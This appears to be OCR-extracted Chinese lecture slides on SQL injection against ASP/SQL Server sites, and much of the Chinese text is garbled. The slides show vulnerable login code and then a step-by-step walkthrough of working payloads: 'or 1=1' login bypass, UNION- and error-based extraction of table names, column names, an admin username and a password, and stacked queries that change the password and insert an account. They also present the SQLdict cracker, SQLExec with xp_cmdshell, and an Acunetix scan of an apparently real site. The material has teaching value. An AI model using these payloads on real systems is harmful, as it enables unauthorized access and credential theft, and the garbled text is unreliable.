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B <FORM action=Search/search.asp
method=post>
<input type=hidden name=A value=C>
</[FORM>

B http:// P &% &t /index.asp?id=10
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id= hi‘ or 1=1-- & password= hi’ or 1=1-- -

W http:// P & % 1t /index.asp?id=hi' or 1=1--
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<FORM action=nhttp:// p # 4 4t /Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
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http:// p #& % xt /index.asp?category=food
cat = request(_( category")

sqlstr="SELECT * FROM product WHERE PCategory=""&cat&"""
set rs=conn.execute(sqlstr)

W s cat g B R > 2SQL K- ¥ 5

SELECT * FROM product WHERE PCategory='food'
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http:// p %% x+/index.asp?category=food' or 1=1 --

B A iF SQL A #-¢ 4

SELECT * FROM product WHERE PCategory='food"' or 1=1--'
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create database test;

create table tblUser(

UserID int primary key no null,
UserName varchar(50) not null,
Password varchar(50) not null

);
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UserName(t& 5.) ~ Password(#% #5) -
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Insert tblUser VALUES(1,’admin’,'/AdminPass’);
Insert tblUser VALUES(2,’'guest’,'GuestPass’);
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<%
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If Request ("UserName") <>"" And Request ("Pass") <>"" Then
Dim cnn,rec,strSQL

Set cnn=Server.CreateObject ("ADODB.Connection")

With cnn.ConnectionString=Application ("Conn") .Open

I R PF Rk e £ SQLE
strSQL="SELECT * FROM tblUser WHERE UserName=""& _
Request ("UserName") & " AND Password="" & Request ("Pass") & ™"
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Set rec=.Execute (strSQL )
End With
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If NOT rec.EOF Then

Session ("UserName") =Request ("UserName")
Response.Write " g1k 72" & Request ("UserName")
Else

PR B RS 31?] » & F

Response.Write " |§ etk 5L/ 3,»1%31,?] s A

End If

Else

Lt SRS RS L R R R U
%>

<Form action="login.asp">

@ ;F‘k &4 * <Input Name="UserName"><P>
%75  <Input Name="Pass" >

<P>

<Input type="submit" Value="#x %>

</Form>

<%

End If

%>
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SELECT * FROM thlUser WHERE UserName='admin'--' AND Password="'asdf

@251 SQL
SELECT * FROM thlUser WHERE UserName='admin’
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SELECT * FROM tblUser WHERE UserName=" or
1=1--' AND Password="asdf
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SELECT * FROM tblUser WHERE UserName=" or 1=1
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B FINFHRA

B i ¥ «HURL:
http:// p &3 nt/index.asp?id=10

B % union
http:// P & % 1t /index.asp?id=10 union select top 1 table name FROM
INFORMATION_SCHEMA.TABLES—

B f % SQL F i
SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
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SQL PIRB B4 L AW FHRE? - BFREVR
tablel :

B Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07"
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'tablel' to a column of data type
Int. /index.asp, line 5
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H 2152 login 7 M T4

M http:// P &% xt/index.asp?id=10 UNION SELECT TOP 1
TABLE NAME FROM INFORMATION SCHEMA.TABLES
WHERE TABLE _NAME LIKE '%25l0gin%25'—

SQL WIRBE T FHEY 5 - B FH 4 v 2 ‘admin_login‘ehFHL & :

B Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server|Syntax error
converting the nvarchar value ‘admin_login' to a column of data

type int. /index.asp, line 5
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”3% 2 5 dadmin_loginFt & ¢ el - E 4L

B http:// P & %zt /index.asp?id=10 UNION SELECT TOP 1

COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_NAME="admin_login'-
SQL PIREBEF FALE ® F - B¢ ‘login_id* e =

B Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07"
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'login _id' to a column of data type
Int. /index.asp, line 5
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M http:// P &% xt/index.asp?id=10 UNION SELECT TOP 1
COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME="admin_login' WHERE COLUMN_NAME NOT
IN (_('login_id")) --

SQL PREHET FTH LY 7 - B i ‘login_name’:f i~

B Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07"
[Microsoft][ODBC SQL Server Drlver][SQL Server]Syntax error
converting the nvarchar value ' login_name' to a column of data
type int. /index.asp, line 5
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B http:// P & &ut/index.asp?id=10 UNION SELECT TOP 1 login_name
FROM admin_login --

#_admin_login eaF 4L % ¢ > i 2 login_name #f ek - £ FH

B Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07"
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'lion' to a column of data type
int./index.asp, line 5
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M http:// P &% nt/index.asp?id=10 UNION SELECT TOP 1
password FROM admin_login where login_name='lion' —

§2 23 admin_login F#4 - &4 "login_name , igif = 7 A
5 lion enFdl » #-35 ¥ Fklehpassword Jfﬁv"*‘};;nj

B Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'u06@Ru85' to a column of data
type int. /index.asp, line 5
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B http:// P & % &4t /index.asp?id=10; UPDATE 'admin_login' SET
'‘password' = 'newpass4dme’' WHERE login_name='lion’--

%ﬁ'iﬁ - fB ']‘E?)‘u
B http://duck/index.asp?id=10; INSERT INTO 'admin_login'

('login_id', 'login_name', 'password’, 'details’) VALUES
(666,'tom’,'newpass4all’,'NA")--
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B SQLDict

B SQLdict #_SQL Server
2R NS S/ i RN 2N
2 # Windows 95 /98 /
ME / NT 4.0/ 2000/ XP
[ 2003/ Vista » ¥ 11 % %k
# P SQL 7 PR BBtk B e
PR L e
1T o

SQLdict W=

B0Ldict 2.1 - The 30L Server Dictionars & tacker
copyright o) 2000, Ame
arme vidstrom@ntecurity nn - http ety nn

Target server IF: |

Target accownt: |

Load Password File |

Start | Exit




1 E fg3¢

B SQLEXxec

IC:~>sglexec

e /) 2.
. 1 = 'E; _j. —El- g l% )},- Xp CI I ldshell SQLExec v2.4.3 copyright Comine.com
ﬁ E _;l:,‘l(‘ ,b A S Usage: SQLExec <odhc> <file> [-pi-si-71
— IT _I. P e L‘l'_ ‘_" <odbc> = ODBC Connection String

<file> File containing SQL

I\/Ilcrosoft SQL PprE+ » H DRI e

Pause on an Error

Té ’}'— "E )}"' r]‘:E %;U a £ N U LL ;—\.:% Do not Display SQL Execution stmts
E‘ Description:

LY e Ve

o :Si, l “ E'_ ,% )}" #*This program will connect to a ODBC data source and execute
7N 8QL statements against that data source. The SQL File may have

— /b SQL statements seperated with a semicolon(;> and C like comments:

p_CmdShell 'Pq '% ﬁ.f.f 'l’zl(l % PP T}'IEPEi:S n:*mgf(rinzz;tii:: fol;l‘ej_:;eﬁ‘]:::n;ZL Statements or the src File.
ER r’ Microsoft SQL 7K |-
2 % £ ‘—y{ r]‘)g %’; ; SQLExec "DSN=TestDB;UID=nurali;PWD=devi” input.sql

o Ry . sa

LL % 7%
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B Acunetix Web Vulnerability Scanner

B o P '/*"-95@‘!'—-7 Ry ff? %‘“&'5} a1 SQLﬁ’_}\‘X{%
%} 7&_}\ FEH T - B s a (Dlrectory traversal) ~ fh% 51 »
(Flle |nclu3|on) e rb AR N R 4eAS & & (Script source code
disclosure ) - CRLFl ectlon E%‘E %? ME% ( Cross frame

scripting) ~ £ ELRa érrﬂ it (Looks for
backup files or dlrectorles) éﬂﬁ B frv;}f’z& 2 4 AR MR

# % 2« P 4% (Discovers files/directories that may contaln
sensmve information) ~ % ;{; A # xR — AR s Aol Zodk o
Jis * 4758 i CVS# % % (Looks for common files, such
as logs, appllcatlon traces, CVS web reposﬂones) £% p#
H39 P o H (Finds directory listings) -~ & 7 K% 53 gL
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Acunetix Web Vulnerability Scanner

E Acunetix Web Yulnerability Scanner (Free Edition)

File Tools Configuation

New Scan | &0 3

Help

3

Check for Updates ‘ " = I

Tools Explorer =&

] web vulnerability Scanner
I
"

o
A Compare Results
= (i Web Services

&
&
=-{= Configuration
& Settings
& Scanning Profiles
== General
&) Program Updates
2] Version Information
(@ Licensing
Ej Support Center
&) Purchase
) User Manual (htrl)
@j User Manwal (pdf)

Ready

Update Licensze .. 3| (§ / o)

Start URL: |http:ftesl w | Profie: |default -

& start

Acunetix Support »
About

Web Scanner

« Tostart a new scan: File — New —Web site scan
« Toload the results of 2 saved scan: File — Load scan results ..

) Acunetis Led @ 2008 Al rights reserved,

ko data to display. You have either not performed a scan or need to load a saved scan results

WEE APPLICATION SECURITY

Scan Wizard

Scan Type

Acunetix WS vS.1 Build 2008021)

[ Activity Windaw

Load module "Web Services - Multirequest parameter manipulation” ...
13 modules loaded.

Determining necesary updates ...

Mo patch updates are available.

1 Application Log | Error Log

acunetix

Scan Type

Select whether you want to scan a single website, a list or range of websites or whether you want to analyze
the results of a previous crawl.

Scan type

‘-.- Here you can scan a single website, [n cage you want to scan a single web application and not the
whole zite you can enter the full path below. The application supports HTTP and HTTPS websites.

+ Scan single website
website URL: | http: //testphp. acunetiz. com

5 |f you zaved the site structure using the site crawler tool you can uge the saved results here. The
(# zcan will load thiz data from the file instead of crawling the site again.

Scan using zaved crawling results
Filename: =
I cage you want to scan a list of websites, you need to choose this option. Prepare a text file
containing the list of websgites and indicate the path of thiz file below.
Scan a list of websites from a file

[l

Filename: =

< “V'ou can alzo scan a range of computers. This wizard will inzpect thiz range looking for HTTP and
HTTPS websites. You may select individual websites later after the dizcovery was finished.

Scan a range of computers looking for websites
IP range:

List of ports:

Mest » ]| Cancel




Acunetix Web Vulnerability Scanner

=

Scan Wizand

Login

Configure input/login details for pazsword protected areaz or HTML forms

HTTP Authentication

83 If your website requires HT TP authentication [Basic or MTLM),
you need to provide the credentials below.

Authenticate with thiz uzername and pazsword combination :

Uszername :

Pazsword : Sein /]
Finish

Here you can review your scanning details.
Werify if everpthing iz in order and then click. Finizh,

HTHML Authentication [Login Sequencel

83 If your website requires HTML authentication, you need to record the steps required ta login on
webszite, Thiz will be saved az a login sequence file and can be uzed later.
*Y'ou can also specify a section of the website which you do not want to be crawled [for exampld
link:s that will log you out fram the website). Scan Summary
Login

Login sequence | <no login sequences -

Finish ) )
List of targets selected for scanning
Fecord Mew Login Sequence
Profile
HES

Targets

acunetix

= http:iwww.tnuedutw: 8o/
03 Windows
Server: IS 6.0
Technologies: ASP.NET

< Back ” Mest » l[ Canc

acunetix

v Save zcan results to databaze for report generation.

< Back ” Finizh l [ Cancel




File Tooks Configuration

Tonls Explorer |3

] web vulnerabiliy Scanner
[& web Scanner
= Tools
@

Y=y

Subdomain Scanner

N
=]
<

1 Compars Results
- Web Services
&

L
- Configuration
& settings
& Scanning Profiles
== General
@ Program Updates
[10] Wersion Information
5 Licensing
] Support Center
(& Purchase
(& User Manual (htmly
(& User Manual (pdf)

Acunetix Web Yulnerability Scanner (Free Edition)
Help

< D R \E | B 2| AW
DE| & | deR| 2 startURL:
5 Resuits Stats

[l Alerts

T Knowledge Base
= 1) Site Structure

=@/
@
@ oss
@ fekedtor
(&% imagebank
(@D images
(&% instructional
@ otc
@ otct
@ seripts
(& template
@ tnit
(& upimages
(& aiasp
[& cm_one.asp
[ cont_Four.asp
[ cont_thres.asp
[ cont_two.asp
[ cookis2003.j5
[ detect_flash.js
[ slectraic.htm
[ oradupast html
(& iis.asp
(& index.asp
[ information.asp
[ manu.htm

[ mm_menu.js

OK (200)
OK (200)
Forbidden (403)
Forbidden (403)
OK (200)
Forbidden (403)
OK (200)

Ok {200)

Ok {200)
Forbidden {403)

Forbidden {403)

Hot Found (404)

Forbidden {403)

Ok {200)

Internal Server Erro...

Internal Server Erro...

Internal Server Erro...

Internal Server Erro...

OK (200)

OK (200)

OK (200)

OK (200)

Ok {200)

Ok {200)

Internal Server Erro...

Hot Found (404)

Ok {200) v

Acunetix Web Vulnerability Scanner

Profile:

& Scan Thread 1 ( http:/iwww.tnu.edu.tw:80/ )

1z Vulnerability information

Threat level

M acunetix threat level

Level 0: Safe
a

Alerts found
Total alerts found
@ High

@ me
© Low

@ mformational

Acunetix Threat Level 0
Mo vulnerabilities have been
discovered by the scanner.

oo ooe

€ Scan information

Target information

Target

Server banner
Operating system
Wieh sener
Technologies

Scan progress

Starttime
Finish time
Scan time
Scan iteration
Scanning mode

htep: /A, tou. edu. tr: 80/
Microsoft-IIS/6.0

Tindows

II% 6.0

ASP.NET

17/9/2008, 10:00:32
1 minutes

1
Ouick

Activity Window

Analyzing Fle: hktp: e bnu, edu, b B0]iis, 3sp?b_unik=48listnum=4&bt_urit:
Analyzing Fle: hktp: e b, edu, b 80/iis, 3sp?b_unik=4adistnum=24&bt_uri

edistnum=:

=

v e e b0 lis. asp7h_unit= abt_unit=12

Analyzing file:
Analyzing File: hktp: e bnu, edu, b 80/iis, 3sp?b_uni=

elistriom=42bt_uni

" application Log [Errorieg

web Scanner Scanning 1 website(s) ... Mumber of websites left ta scan ; 1



